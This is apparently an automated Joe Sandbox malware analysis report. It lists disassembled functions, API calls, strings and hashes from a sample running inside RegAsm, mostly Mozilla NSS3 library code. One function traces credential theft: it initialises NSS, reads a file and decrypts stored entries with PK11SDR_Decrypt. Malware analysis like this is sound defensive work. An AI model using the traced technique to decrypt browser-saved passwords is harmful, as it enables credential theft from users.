PR_Unlock.NSS3(?), ref: 6C9C4F01
free.MOZGLUE(00000000), ref: 6C9C4F2A

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 2b229d355dfafe2cae35818a2f2cccabfa0d2c4d5ff75311bf36add42b60232f
Instruction ID: e795fb9d740c0b4e9184ec46dde61973ab5c82972eb647898bea5124dcff0432
Opcode Fuzzy Hash: 2b229d355dfafe2cae35818a2f2cccabfa0d2c4d5ff75311bf36add42b60232f
Instruction Fuzzy Hash: D0B10175B002069FEB04EF68D844AAA77B8BF09318F558128ED0597B11EB34E965CFD3

Function 6CA16E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CA16BF7), ref: 6CA16EB6

Part of subcall function 6C971240: TlsGetValue.KERNEL32(00000040,?,6C97116C,NSPR_LOG_MODULES), ref: 6C971267
Part of subcall function 6C971240: EnterCriticalSection.KERNEL32(?,?,?,6C97116C,NSPR_LOG_MODULES), ref: 6C97127C
Part of subcall function 6C971240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C97116C,NSPR_LOG_MODULES), ref: 6C971291
Part of subcall function 6C971240: PR_Unlock.NSS3(?,?,?,?,6C97116C,NSPR_LOG_MODULES), ref: 6C9712A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CABFC0A,6CA16BF7), ref: 6CA16ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA16EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CA16EFC
PR_NewLock.NSS3 ref: 6CA16F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA16F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CA16BF7), ref: 6CA16F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CA16BF7), ref: 6CA16F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CA16BF7), ref: 6CA16FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CA16BF7), ref: 6CA16FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CA16FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CA16F4F
SSLFORCELOCKS, xrefs: 6CA16F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CA16EF7
SSLKEYLOGFILE, xrefs: 6CA16EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CA16FF8

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 52182201cd7d720c4bb56130e3a2816f9e38ed17a496f76366c1bfd3e6fa3c10
Instruction ID: a57c614829e4d78651887874223969a1f4e1a4267eda3c2f411c2823b1652630
Opcode Fuzzy Hash: 52182201cd7d720c4bb56130e3a2816f9e38ed17a496f76366c1bfd3e6fa3c10
Instruction Fuzzy Hash: 5CA137B2A5DAD18AEB94463CCC4039432A2EB9B329F5C9364E831C7FD4DB35D4C19391

Function 0040C7D0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C7E5

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C8C9
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C8D5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C8E8
??2@YAPAXI@Z.MSVCRT ref: 0040C8F5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C919
StrStrA.SHLWAPI(?,00F82330,00420B37), ref: 0040C937
StrStrA.SHLWAPI(00000000,00F82408), ref: 0040C95E
StrStrA.SHLWAPI(?,00F81E20,00000000,?,004213FC,00000000,?,00000000,00000000,?,00F7AB90,00000000,?,004213F8,00000000,?), ref: 0040CAE2
StrStrA.SHLWAPI(00000000,00F81D00), ref: 0040CAF9

Part of subcall function 0040C660: memset.MSVCRT ref: 0040C693
Part of subcall function 0040C660: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00F7AAB0), ref: 0040C6B1
Part of subcall function 0040C660: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
Part of subcall function 0040C660: PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
Part of subcall function 0040C660: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
Part of subcall function 0040C660: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
Part of subcall function 0040C660: memcpy.MSVCRT ref: 0040C752
Part of subcall function 0040C660: PK11_FreeSlot.NSS3(?), ref: 0040C7A1

StrStrA.SHLWAPI(?,00F81D00,00000000,?,00421400,00000000,?,00000000,00F7AAB0), ref: 0040CB9A
StrStrA.SHLWAPI(00000000,00F7ACD0), ref: 0040CBB1

Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

lstrlenA.KERNEL32(00000000), ref: 0040CC84
CloseHandle.KERNEL32(00000000), ref: 0040CCDC
NSS_Shutdown.NSS3 ref: 0040CCEA

Strings

, xrefs: 0040C806

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Filelstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 4120691046-3916222277
Opcode ID: bb85c3827125202dca028fa50ff0c1a65527f6431554fe58931cdc958413fa88
Instruction ID: 91e77cebffad47ece097f7429d4e9b812732713b5b21c7dde3d323aaba1c439f
Opcode Fuzzy Hash: bb85c3827125202dca028fa50ff0c1a65527f6431554fe58931cdc958413fa88
Instruction Fuzzy Hash: 15E18E71801108ABCB14EBA1DC96FEEB739AF14314F00415EF40773191EF786A99CBAA

Function 6CA128C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CA15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA15B56

TlsGetValue.KERNEL32 ref: 6CA1290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CA1291E
TlsGetValue.KERNEL32 ref: 6CA12937
EnterCriticalSection.KERNEL32(00000001), ref: 6CA1294B
PR_EnterMonitor.NSS3(?), ref: 6CA12966
PR_EnterMonitor.NSS3(?), ref: 6CA129AC
PR_ExitMonitor.NSS3(?), ref: 6CA129D1
PR_EnterMonitor.NSS3(?), ref: 6CA129F0
PR_EnterMonitor.NSS3(?), ref: 6CA12A15
PR_EnterMonitor.NSS3(?), ref: 6CA12A37
PR_ExitMonitor.NSS3(?), ref: 6CA12A61
PR_ExitMonitor.NSS3(?), ref: 6CA12A78
PR_ExitMonitor.NSS3(?), ref: 6CA12A8F
PR_ExitMonitor.NSS3(?), ref: 6CA12AA6

Part of subcall function 6CA49440: TlsGetValue.KERNEL32 ref: 6CA4945B
Part of subcall function 6CA49440: TlsGetValue.KERNEL32 ref: 6CA49479
Part of subcall function 6CA49440: EnterCriticalSection.KERNEL32 ref: 6CA49495
Part of subcall function 6CA49440: TlsGetValue.KERNEL32 ref: 6CA494E4
Part of subcall function 6CA49440: TlsGetValue.KERNEL32 ref: 6CA49532
Part of subcall function 6CA49440: LeaveCriticalSection.KERNEL32 ref: 6CA4955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CA12AF9
free.MOZGLUE(?), ref: 6CA12B16
PR_Unlock.NSS3(?), ref: 6CA12B6D
PR_Unlock.NSS3(?), ref: 6CA12B80

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: f488125d8a46ce92f5ad48561be41e7d198de9ce44fa6faef0a664ead8af8ef5
Instruction ID: ef26a8c1799fb262b93de2ecb4484d5fe0809972436d9a57a46212d986e7ac44
Opcode Fuzzy Hash: f488125d8a46ce92f5ad48561be41e7d198de9ce44fa6faef0a664ead8af8ef5
Instruction Fuzzy Hash: 7881F7B1A047015BEB209F39ED457D7B7F9AF05308F048928D85AC7B11EB36E599CB81

Function 6C9D8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C9D8E01,00000000,6C9D9060,6CAE0B64), ref: 6C9D8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C9D8E01,00000000,6C9D9060,6CAE0B64), ref: 6C9D8E9E
PORT_ArenaAlloc_Util.NSS3(6CAE0B64,00000001,?,?,?,?,6C9D8E01,00000000,6C9D9060,6CAE0B64), ref: 6C9D8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C9D8E01,00000000,6C9D9060,6CAE0B64), ref: 6C9D8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C9D8E01,00000000,6C9D9060,6CAE0B64), ref: 6C9D8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C9D8E01,00000000,6C9D9060,6CAE0B64), ref: 6C9D8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C9D8E01), ref: 6C9D8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE0B64,6CAE0B64), ref: 6C9D8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C9D8F3F

Part of subcall function 6C9DA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C9DA421,00000000,00000000,6C9D9826), ref: 6C9DA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9D904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C9D8E76

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b54a19ce6afc9eceb4778ad6c34a168892f01e282aca2645cce13c8a19e93c4a
Instruction ID: 36c33ca2f1054b23551a7830868efd5f0646144aa9a1090e2fad957b89d16ce7
Opcode Fuzzy Hash: b54a19ce6afc9eceb4778ad6c34a168892f01e282aca2645cce13c8a19e93c4a
Instruction Fuzzy Hash: A961ABB590020A9BDB00DF55DC80AAAB7B9FF98358F168028DC18B7701EB31F915CAE1

Function 6C988E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C988E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C988E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C988EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CAB18D0,?), ref: 6C988F03
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C988F19
PL_FreeArenaPool.NSS3(?), ref: 6C988F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C988F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C988F65
PL_FinishArenaPool.NSS3(?), ref: 6C988FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C988FFE
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C989012
PL_FreeArenaPool.NSS3(?), ref: 6C989024
PL_FinishArenaPool.NSS3(?), ref: 6C98902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C98903E

Strings

security, xrefs: 6C988EE7

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 612318f0c0af22118c060f57aaf7cc3c9940ae3627905e2d12935937525a5d24
Instruction ID: e172cc42ffa0358172e07b60687f070c4ea90e47d8132af58d7e266170dd8a8f
Opcode Fuzzy Hash: 612318f0c0af22118c060f57aaf7cc3c9940ae3627905e2d12935937525a5d24
Instruction Fuzzy Hash: B15136B1609300ABD7149A589C41FAB72ACAFAA75CF440C2EF54497B41E731D918C7B7

Function 6C9B4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C9B4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C9B4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C9B4EC7

Part of subcall function 6CA9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CA9D963

PR_LogPrint.NSS3(?,00000000), ref: 6C9B4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C9B4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C9B4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C9B4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C9B4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C9B4F68

Strings

pTemplate = 0x%p, xrefs: 6C9B4F4A
hObject = 0x%x, xrefs: 6C9B4EF5, 6C9B4F05
hSession = 0x%x, xrefs: 6C9B4EA2, 6C9B4EB2
C_GetAttributeValue, xrefs: 6C9B4E7E
ulCount = %d, xrefs: 6C9B4F63
(CK_INVALID_HANDLE), xrefs: 6C9B4EC0, 6C9B4F13

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: c8d64c6354eb7ccc0f4451df7424977d9395a3dd0e3cc55c839efda07a525bd3
Instruction ID: 7c683f4afd55e847a4d53478c9b194daa89bf62f35b466a2c736357c30e8099a
Opcode Fuzzy Hash: c8d64c6354eb7ccc0f4451df7424977d9395a3dd0e3cc55c839efda07a525bd3
Instruction Fuzzy Hash: 2441D63160120ABFDB04DF94ED49F9B77B5AB5630DF048124F40867A51DB30D99AEFA1

Function 6C9B4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C9B4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C9B4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C9B4D37

Part of subcall function 6CA9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CA9D963

PR_LogPrint.NSS3(?,00000000), ref: 6C9B4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C9B4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C9B4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C9B4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C9B4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C9B4E20

Strings

hObject = 0x%x, xrefs: 6C9B4D65, 6C9B4D75
C_GetObjectSize, xrefs: 6C9B4CEE
hSession = 0x%x, xrefs: 6C9B4D12, 6C9B4D22
*pulSize = 0x%x, xrefs: 6C9B4E1B
pulSize = 0x%p, xrefs: 6C9B4DB7
(CK_INVALID_HANDLE), xrefs: 6C9B4D30, 6C9B4D83

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 3f1a2b99f48e9b950e1e6e72cb62414f3ac9c58ae5ba2db60e204e5cb2fc733d
Instruction ID: 0fbff6cdae0c493b0861c7f83e21e0e38a2642d963b7b48de033022ac622652c
Opcode Fuzzy Hash: 3f1a2b99f48e9b950e1e6e72cb62414f3ac9c58ae5ba2db60e204e5cb2fc733d
Instruction Fuzzy Hash: A241E831601206BFD7449F50DD89B5B77B9AB9630DF048124F50877A11DB30D999EFA1

Function 6C9B2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C9B2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C9B2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C9B2F63

Part of subcall function 6CA9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CA9D963

PR_LogPrint.NSS3(?,00000000), ref: 6C9B2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C9B2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C9B2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C9B2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C9B2FE7

Strings

C_SetPIN, xrefs: 6C9B2F21
ulNewLen = %d, xrefs: 6C9B2FE2
ulOldLen = %d, xrefs: 6C9B2FB0
hSession = 0x%x, xrefs: 6C9B2F3E, 6C9B2F4E
pOldPin = 0x%p, xrefs: 6C9B2F95
pNewPin = 0x%p, xrefs: 6C9B2FC9
(CK_INVALID_HANDLE), xrefs: 6C9B2F5C

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: ef2c3737437b73304d3ab83b67b7dafbe449981cd3b5b54382a1f3e4e1cc297d
Instruction ID: 9588def87e89b51de8bc993247fe3c95637a3168e8ea08cb06e40e3410f0c6f3
Opcode Fuzzy Hash: ef2c3737437b73304d3ab83b67b7dafbe449981cd3b5b54382a1f3e4e1cc297d
Instruction Fuzzy Hash: 9931F535601246BFCB48DF94DE4CE4B7BB5EB5A309F088114F408B7A11DB30D9A9DBA1

Function 6CA4CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CA4CC7B), ref: 6CA4CD7A

Part of subcall function 6CA4CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C9BC1A8,?), ref: 6CA4CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA4CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA4CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CA4CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA4CD8E

Part of subcall function 6C9705C0: PR_EnterMonitor.NSS3 ref: 6C9705D1
Part of subcall function 6C9705C0: PR_ExitMonitor.NSS3 ref: 6C9705EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CA4CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA4CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA4CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA4CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CA4CE48

Strings

ws2_32.dll, xrefs: 6CA4CD75
wship6.dll, xrefs: 6CA4CDE3
freeaddrinfo, xrefs: 6CA4CD9F, 6CA4CE10
getnameinfo, xrefs: 6CA4CDB2, 6CA4CE23
getaddrinfo, xrefs: 6CA4CD88, 6CA4CDF9

Memory Dump Source

